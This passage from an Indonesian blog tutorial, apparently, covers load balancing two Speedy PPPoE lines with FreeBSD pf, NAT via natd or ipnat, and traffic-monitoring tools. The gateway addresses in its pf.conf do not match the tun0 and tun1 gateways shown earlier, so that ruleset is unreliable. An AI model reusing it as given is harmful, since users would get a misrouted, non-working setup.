over Ethernet.<br /><br /># /usr/sbin/ppp -quiet -ddial speedy1<br /># /usr/sbin/ppp -quiet -ddial speedy2<br /><br />Jika koneksi Speedy berhasil, IP address dari Speedy akan di-binding di interface tunneling tun0 dan tun1<br /><br /># ifconfig<br />tun0: flags=8051 mtu 1492<br />inet 125.165.112.232 –> 125.165.112.1 netmask 0xffffffff<br />Opened by PID 917<br />tun1: flags=8051 mtu 1492<br />inet 125.162.80.141 –> 125.162.80.1 netmask 0xffffffff<br />Opened by PID 937<br /><br />Dan default gateway akan aktif<br /><br /># netstat -nr |more<br />Routing tables<br /><br />Internet:<br />Destination Gateway Flags Refs Use Netif Expire<br />default 125.162.80.1 UGS 0 17334 tun1<br />125.162.80.1 125.162.80.141 UH 1 0 tun1<br />125.165.112.1 125.165.112.232 UH 0 0 tun0<br /><br />Serta konfigurasi resolver DNS pun akan terisi<br /><br />#cat /etc/resolv.conf<br /><br />nameserver 203.130.193.74<br />nameserver 202.134.0.155<br /><br />Aktifkan Packet Firewall pf<br /><br /># /etc/rc.conf<br /># — sysinstall generated deltas — # Thu Nov 6 19:38:59 2008<br /># Created: Thu Nov 6 19:38:59 2008<br /># Enable network daemons for user convenience.<br /># Please make all changes to this file, not to /etc/defaults/rc.conf.<br /># This file now contains just the overrides from /etc/defaults/rc.conf.<br /><br />fsck_y_enable=”YES”<br />gateway_enable=”YES”<br />sshd_enable=”YES”<br /><br />ppp_enable=”YES”<br /><br />pf_enable=”YES”<br />pf_rules=”/etc/pf.conf”<br />pf_flags=”"<br />pflog_enable=”YES”<br />pflog_logfile=”/var/log/pflog”<br />pflog_flags=”"<br /><br />ifconfig_rl0=”inet 192.168.2.14 netmask 255.255.255.224″<br />ifconfig_vr0=”up”<br />ifconfig_rl1=”up”<br />defaultrouter=”"<br />hostname=”router.nabila.net”<br /><br />Script Packet Firewall NAT dan balancing dengan round-robin (ganti round-robin dengan loadbalance jika lebih sesuai dengan kebutuhan anda).<br /><br />Baris yang di-indent masih termasuk baris di atasnya. Entah kenapa tag malah menghilangkan karakter backslash.<br /><br />#cat /etc/pf.conf<br />lan_net = “192.168.2.0/27″<br />int_if = “rl0″<br />ext_if1 = “tun0″<br />ext_if2 = “tun1″<br />ext_gw1 = “125.162.112.1″<br />ext_gw2 = “125.165.80.1″<br /><br /># scrub all<br />scrub in all<br /># nat outgoing connections on each internet interface<br />nat on $ext_if1 from $lan_net to any -> ($ext_if1)<br />nat on $ext_if2 from $lan_net to any -> ($ext_if2)<br /># pass all outgoing packets on internal interface<br />pass out on $int_if from any to $lan_net<br /># pass in quick any packets destined for the gateway itself<br />pass in quick on $int_if from $lan_net to $int_if<br /># load balance outgoing tcp traffic from internal network.<br />pass in on $int_if route-to \<br />{ ($ext_if1 $ext_gw1), ($ext_if2 $ext_gw2) } round-robin \<br />proto tcp from $lan_net to any flags S/SA modulate state<br /># load balance outgoing udp and icmp traffic from internal network<br />pass in on $int_if route-to \<br />{ ($ext_if1 $ext_gw1), ($ext_if2 $ext_gw2) } round-robin \<br />proto { udp, icmp } from $lan_net to any keep state<br /># general “pass out” rules for external interfaces<br />pass out on $ext_if1 proto tcp from any to any flags S/SA modulate state<br />pass out on $ext_if1 proto { udp, icmp } from any to any keep state<br />pass out on $ext_if2 proto tcp from any to any flags S/SA modulate state<br />pass out on $ext_if2 proto { udp, icmp } from any to any keep state<br /><br />Aktifkan script yang diperlukan di /etc/rc.local agar setiap reboot langsung bekerja.<br /><br />ifconfig_rl0=”inet 192.168.2.14 netmask 255.255.255.224″<br />ifconfig_vr0=”up”<br />ifconfig_rl1=”up”<br /><br />/usr/sbin/ppp -quiet -ddial speedy1<br />/usr/sbin/ppp -quiet -ddial speedy2<br /><br />PF akan langsung bekerja membaca /etc/pf.conf.<br />Jika harus me-restart koneksi DSL Speedy, pastikan pppoe dimatikan dulu<br /><br /># pkill ppp<br /><br />Jika tidak, maka ppp akan membuat tunneling baru menjadi tun2, tun3 dan seterusnya.<br /><br />Untuk memantau fungsi nat pool round-robin di atas bekerja atau tidak, bisa menggunakan tools pftop yang bisa diambil di<br /><br />http://www.eee.metu.edu.tr/~canacar/pftop/<br /><br />Jika anda mengoptimasikan koneksi jaringan juga dengan menggunakan proxy, misalnya Squid, maka proxy Squid jangan dipasang juga di<br /><br />mesin router NAT tersebut, sebab saat Squid mengakses halaman web ke internet; oleh PF dianggap bukan sebagai koneksi NAT, jadi tidak<br /><br />akan di-balance, dan akan stay mengambil interface utama dan default gateway pertama. Simpanlah mesin proxy/squid di belakang router NAT,<br /><br />agar koneksi proxy ke internet menjadi trafik NAT yang akan di-balance oleh script PF di atas.<br /></span>

Load Balancing 2 Line Speedy dengan FreeBSD

Load Balancing 2 Line Speedy ini menggunakan paket office unlimitted.Kedua Modem di set sebagai Bridge. Teori Singkat Banyak pertanyaan dari...

Read more »

Gateway and Router

Apa itu Gateway dan Router?<br /><br />Jika Anda mempunyai beberapa komputer yang saling terhubung lewat jaringan (ethernet misalnya), Anda dapat menggunakan FreeBSD sebagai pintu gerbang (router/gateway) untuk menyambungkan semua komputer Anda menuju Internet.<br /><br />Router dan gateway sendiri sebenarnya secara teori mempunyai filosofi arti yang berbeda, gateway sebenarnya mengacu pada alat yang difungsikan untuk menjembatani dua buah jaringan yang mempunyai topologi berbeda, berbeda subnet, dsb, sedangkan router untuk mengatur pengalamatan paket-paket data dalam jaringan yang berbeda sehingga komunikasi dapat terlaksana.<br /><span class="fullpost"><br />Akan tetapi dalam kenyataan sehari-hari, router dan gateway seringkali hanya ditangani oleh sebuah alat saja. Hal inilah yang menyebabkan router selalu diidentikkan dengan gateway, demikian pula sebaliknya.<br /><br />Router banyak didistribusikan dalam bentuk paket perangkat keras terpadu bermerek seperti Cisco, Intel, Proteon, Bay Network dan lain-lain dengan harga yang relatif tinggi. Tetapi kita juga dapat membangun sebuah PC Router dengan biaya yang relatif rendah menggunakan FreeBSD.<br /><br />Konfigurasi Mesin Gateway di FreeBSD<br /><br />Untuk dapat menjalankan fungsi NAT pada FreeBSD, terlebih dahulu kita harus mempersiapkan kernel FreeBSD agar dapat mendukung. Silakan baca tentang konfigurasi Kernel pada Chapter One. Selanjutnya setelah kernel Anda siap, lanjutkan membaca bahasan berikut.<br /><br />Fungsi NAT<br /><br />Dalam lingkungan Linux, NAT lebih dikenal dengan nama IP Masquerading. Antara NAT dan IP Masquerading memiliki konsep yang sama.<br /><br />Penggunaan NAT merupakan hal yang efektif dalam sebuah jaringan. Misalkan, ada lima buah PC yang membutuhkan akses Internet, maka dibutuhkan paling tidak lima sambungan telepon untuk masing-masing PC tersebut. Tentunya pembiayaan untuk sambungan ini akan menjadi sangat mahal.<br /><br />Dengan konsep NAT, hanya diperlukan satu buah sambungan telepon saja ke sebuah PC, kemudian empat PC yang lain dihubungkan ke switch. Kemudian switch dihubungkan dengan salah satu NIC (Network Internet Card) komputer yang terhubung dengan Internet. Dimana komputer tersebut difungsikan sebagai gateway dengan sistem FreeBSD yang terinstal didalamnya. NAT secara otomatis akan menterjemahkan alamat IP dari setiap komputer di jaringan lokal menjadi satu alamat IP publik. Gateway juga dapat berfungsi sebagai firewall yang melindungi klien dari akses yang tidak diinginkan.<br /><br />Untuk mengaktifkan fungsi NAT, bisa menggunakan IPFW (IP Firewall). Namun untuk dapat menggunakan IPFW, kernel FreeBSD harus dikonfigurasi ulang seperti pada pembahasan sebelumnya.<br /><br />Ada dua cara yang akan dibahas dalam menggunakan NAT, yaitu NATD dan IPNAT. Anda dapat memilih salah satu dari keduanya, saya sendiri lebih familiar menggunakan NATD. Mana yang lebih baik? Sampai saat ini saya juga belum sempat mengorek keterangan lebih lengkap tentang keduanya. Yang jelas keduanya bekerja dengan baik bagi saya.<br /><br />Konfigurasi NATD<br /><br />Mengaktifkan NAT dapat menggunakan NATD. Adapun langkah-langkah mengaktifkan NAT pada sistem FreeBSD menggunakan NATD adalah sebagai berikut:<br /><br /> *<br /><br /> Buka file /etc.rc.conf dengan editor ee.<br /><br /># ee /etc/rc.conf<br /><br /> *<br /><br /> Tambahkan beberapa baris konfigurasi berikut pada file diatas. Letakkan di akhir baris.<br /><br /># — NAT Configuration –<br /><br />gateway_enable=”YES”<br /><br />firewall_enable=”YES”<br /><br />firewall_type=”OPEN”<br /><br />natd_enable=”YES”<br /><br />natd_interface=”rl0″ # Interface yg terhubung dgn Internet<br /><br />natd_flags=”"<br /><br /> *<br /><br /> Ketikkan perintah berikut ini untuk merasakan efek perubahan yang dilakukan.<br /><br /># /etc/netstart<br /><br /> *<br /><br /> Jika berhasil, maka pada saat dijalankan perintah ipfw show, akan menampilkan seperti dibawah ini:<br /><br /># ipfw show<br /><br />00050 137 13524 divert 8668 ip4 from any to any via rl0<br /><br />00100 4 208 allow ip from any to any via lo0<br /><br />00200 0 0 deny ip from any to 127.0.0.0/8<br /><br />00300 0 0 deny ip from 127.0.0.0/8 to any<br /><br />65000 131 12932 allow ip from any to any<br /><br />65535 23 2042 allow ip from any to any<br /><br /> 1.<br /><br /> Konfigurasi IPNAT<br /><br />Fungsi NAT juga dapat dilakukan oleh ipnat pada FreeBSD. Untuk mengaktifkan ipnat, lakukan langkah-langkah berikut:<br /><br /> *<br /><br /> Buka file /etc.rc.conf dengan editor ee.<br /><br /># ee /etc/rc.conf<br /><br /> *<br /><br /> Konfigurasi file tersebut dengan menambahkan beberapa baris perintah di bawah ini:<br /><br />gateway_enable=”YES” # Mengaktifkan LAN sebagai gateway<br /><br />ipnat_enable=”YES” # Menjalankan fungsi NAT<br /><br />ipnat_rules=”/etc/ipnat.rules” # Aturan ipnat<br /><br />keluar dari editor ee, dengan menekan Esc dan Enter dua kali.<br /><br /> *<br /><br /> Definisikan aturan ipnat pada file /etc/ipnat.rules. Karena file tersebut tidak ada secara otomatis, maka harus diciptakan terlebih dahulu dengan perintah:<br /><br /># ee /etc/ipnat.rules<br /><br /> *<br /><br /> Isi file tersebut dengan konfigurasi berikut ini:<br /><br />map rl0 192.168.182.0/24 -> 202.159.121.78/32 portmap tcp/udp auto<br /><br />konfigurasi di atas berarti bahwa setiap ada permintaan alamat dari IP 192.168.182.1 – 192.168.182.254, akan diteruskan ke IP 202.159.121.78.<br /><br /> *<br /><br /> Set izin aksesnya menjadi 755<br /><br /># chmod 755 /etc/ipnat.rules<br /><br /> *<br /><br /> Untuk merasakan efek perubahan yang dilakukan Anda harus merestart komputer.<br /><br /># reboot<br /><br /> 1.<br /><br /> Tools yang Biasa Digunakan pada Mesin Router<br /><br />Pada saat Anda mengoperasikan sebuah sistem jaringan, kemampuan memonitor kondisi jaringan menjadi sangat penting artinya untuk mengetahui kesehatan sistem jaringan Anda. Pada bagian ini akan diterangkan beberapa perangkat yang dapat digunakan untuk mengamati trafik Internet di jaringan Anda baik yang menuju maupun dari Internet.<br /><br />Semua program pemantau ini telah disertakan pada ports FreeBSD. Perangkat lunak yang ada di ports tersebut dapat digunakan untuk memonitor paket-paket data yang masuk atau seberapa cepat koneksi yang terjadi antara server Anda dengan ISP tempat Anda berlangganan. Berbagai program ini akan dibahas secara sepintas pada kesempatan ini.<br /><br /> 1.<br /><br /> ifstat<br /><br />Anda bisa menggunakan ifstat untuk mengetahui berapa besar data yang keluar ataupun masuk dari ethernet yang Anda miliki. Berikut ini tampilan ifstat saat dijalankan pada proxy server di STIKI yang menangani jaringan Dosen, Lab Internet, dan Hotspot.<br /><br />rl0 rl1 rl2 Total<br /><br />Kbps in Kbps out Kbps in Kbps out Kbps in Kbps out Kbps in Kbps out<br /><br />23.70 6.76 10.71 17.57 0.47 2.08 34.87 26.41<br /><br />15.98 2.62 16.72 16.02 0.47 1.45 33.17 20.09<br /><br />13.75 3.04 0.47 11.82 0.47 1.45 14.69 16.31<br /><br />57.15 4.28 25.67 26.77 0.47 1.45 83.29 32.50<br /><br />12.67 9.02 10.65 36.34 0.47 1.45 23.78 46.81<br /><br />68.84 5.03 13.88 71.97 0.47 1.45 83.19 78.45<br /><br />56.62 10.01 12.30 74.15 0.94 3.14 69.85 87.29<br /><br />Menginstall ifstat dapat melalui ports FreeBSD. Mari kita cari tahu dimana letak source dari ifstat dengan mengetikkan perintah:<br /><br /># whereis ifstat<br /><br />ifstat: /usr/ports/net/ifstat<br /><br />Kesanalah kita menuju, dan ketikkan make install clean untuk melakukan installasi ifstat pada sistem.<br /><br /># cd /usr/ports/net/ifstat<br /><br /># make install clean<br /><br />Ketika muncul option ifstat seperti pada gambar, centang SNMP jika ingin mengaktifkan dukungan terhadap SNMP.<br /><br />File yang dibutuhkan dalam installasi ini adalah:<br /><br /> *<br /><br /> ifstat-1.1.tar.gz<br /> *<br /><br /> net-snmp-5.2.2.tar.gz<br /> *<br /><br /> perl-5.8.8.tar.bz2<br /> *<br /><br /> BSDPAN-5.8.8.tar.bz2<br /><br /> *<br /><br /> defined-or-5.8.8.bz2<br /> *<br /><br /> gettext-0.14.5.tar.gz<br /> *<br /><br /> gettext-1.05.tar.gz<br /> *<br /><br /> autoconf-2.59.tar.bz2<br /> *<br /><br /> help2man-1.36.3.tar.gz<br /> *<br /><br /> libtool-1.5.22.tar.gz<br /> *<br /><br /> m4-1.4.4.tar.bz2<br /> *<br /><br /> libiconv-1.9.2.tar.gz<br /><br />Adapun perintah untuk melihat keseluruhan bandwidth yang digunakan baik masuk maupun keluar dari ethernet serta totalnya, dapat digunakan perintah:<br /><br /># /usr/local/bin/ifstat -bT<br /><br />rl0 rl1 rl2 Total<br /><br />Kbps in Kbps out Kbps in Kbps out Kbps in Kbps out Kbps in Kbps out<br /><br />23.70 6.76 10.71 17.57 0.47 2.08 34.87 26.41<br /><br />15.98 2.62 16.72 16.02 0.47 1.45 33.17 20.09<br /><br />13.75 3.04 0.47 11.82 0.47 1.45 14.69 16.31<br /><br />57.15 4.28 25.67 26.77 0.47 1.45 83.29 32.50<br /><br />12.67 9.02 10.65 36.34 0.47 1.45 23.78 46.81<br /><br />68.84 5.03 13.88 71.97 0.47 1.45 83.19 78.45<br /><br />56.62 10.01 12.30 74.15 0.94 3.14 69.85 87.29<br /><br /> 1.<br /><br /> iftop<br /><br />Dengan program ini kita dapat melihat penggunaan bandwidth per klien yang masuk dan keluar. Asyiknya lagi, program ini menampilkan bandwidth yang digunakan oleh tiap klien dalam bentuk graphic. Klien yang menggunakan bandwidth terbanyak ditempatkan pada posisi teratas. Graphic dalam bentuk diagram menyamping ini menampilkan koneksi klien ke host yang dituju beserta besar bandwidth yang digunakan oleh klien.<br /><br />Program iftop dapat diinstall dengan perintah:<br /><br /># cd /usr/ports/net-mgmt/iftop<br /><br /># make install clean<br /><br />File yang dibutuhkan dalam installasi ini adalah:<br /><br /> *<br /><br /> iftop-0.17.tar.gz<br /><br />Untuk menggunakan iftop dan memonitor penggunaan bandwidth klien, kita dapat mengetikkan perintah:<br /><br /># /usr/local/bin/iftop<br /><br /># /usr/local/bin/iftop -i rl1<br /><br />Option –i adalah kepanjangan dari interface, artinya kita ingin melihat penggunaan bandwidth dari klien yang terhubung ke interface rl1.<br /><br /> 1.<br /><br /> trafshow<br /><br />Dengan program ini, kita dapat memonitor paket-paket yang melewati server yang kita miliki maupun paket-paket yang melalui jalur serial atau modem. Dan informasi yang ditampilkan pun lebih mudah untuk kita pahami dan kita mengerti.<br /><br />Sebelum kita menggunakannya, setidaknya kita perlu menginstall program ini terlebih dahulu. Untuk itu masuk ke direktori /usr/ports/net-mgmt/trafshow/ dan jalankan perintah untuk menginstallnya.<br /><br /># cd /usr/ports/net/trafshow<br /><br /># make install clean<br /><br />File yang dibutuhkan dalam installasi ini adalah:<br /><br /> *<br /><br /> trafshow-5.2.2.tgz<br /><br />Silakan jalankan program ini untuk memonitor paket-paket data yang lewat dengan perintah:<br /><br /># /usr/local/bin/trafshow<br /><br /># /usr/local/bin/trafshow -i rl0<br /><br />Dimana option –i adalah kepanjangan dari interface atau kartu jaringan yang ingin dimonitor.<br /><br /> 1.<br /><br /> tcpdump<br /><br />Kita dapat menggunakan perintah tcpdump untuk melihat paket-paket tcp baik yang datang maupun yang keluar secara terus-menerus. Juga bisa kita lihat dari mana dan ke mana paket tersebut berlangsung. Program ini akan menampilkan terus-menerus permintaan-permintaan yang ada setiap permintaan terjadi dan terlayani dan untuk keluar dari program ini kita cukup menggunakan kombinasi tombol Ctrl+C.<br /><br />Untuk menginstall tcpdump, berikut ini langkah-langkahnya:<br /><br /># cd /usr/ports/net/tcpdump<br /><br /># make install clean<br /><br />File yang dibutuhkan dalam installasi ini adalah:<br /><br /> *<br /><br /> tcpdump-3.9.4.tar.gz<br /> *<br /><br /> bison-1.75.tar.bz2<br /><br /># /usr/sbin/tcpdump -i rl0<br /><br /> 1.<br /><br /> netstat<br /><br />Jika Anda ingin melihat koneksi yang terjadi, dari mana saja dan ke mana saja juga koneksi apa saja yang terjadi, telah terjadi atau belum, masih terjadi ataupun sudah tidak terjadi koneksi lagi, Anda dapat menggunakan program atau perintah netstat. Dengan perintah ini semua informasi yang Anda inginkan akan ditampilkan sesuai dengan atribut yang Anda ikutkan.<br /><br />Program netstat telah ada secara default pada FreeBSD, kita tidak perlu menginstallnya, hanya cukup menjalankan perintahnya saja.<br /><br />router# /usr/bin/netstat -ta<br /><br />Active Internet connections (including servers)<br /><br />Proto Recv-Q Send-Q Local Address Foreign Address (state)<br /><br />tcp4 0 0 router.netrjs-3 192.168.123.2.2740 ESTABLISHED<br /><br />tcp4 0 0 *.netrjs-3 *.* LISTEN<br /><br />tcp4 0 0 *.smux *.* LISTEN<br /><br />udp4 0 0 *.snmp *.*<br /><br />div4 0 0 *.natd *.*<br /><br />icm4 0 0 *.* *.*<br /><br />Active UNIX domain sockets<br /><br />Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr<br /><br />c125eb7c stream 0 0 0 c125ec94 0 0<br /><br />c125ec94 stream 0 0 0 c125eb7c 0 0<br /><br />c125ee38 stream 0 0 c1251bb0 0 0 0 /var/run/devd.pipe<br /><br />c125e690 dgram 0 0 0 c125ed20 0 0<br /><br />c125ed20 dgram 0 0 c126f550 0 c125e690 0 /var/run/logpriv<br /><br />c125edac dgram 0 0 c126f660 0 0 0 /var/run/log<br /></span>

Gateway and Router

Apa itu Gateway dan Router? Jika Anda mempunyai beberapa komputer yang saling terhubung lewat jaringan (ethernet misalnya), Anda dapat mengg...

Read more »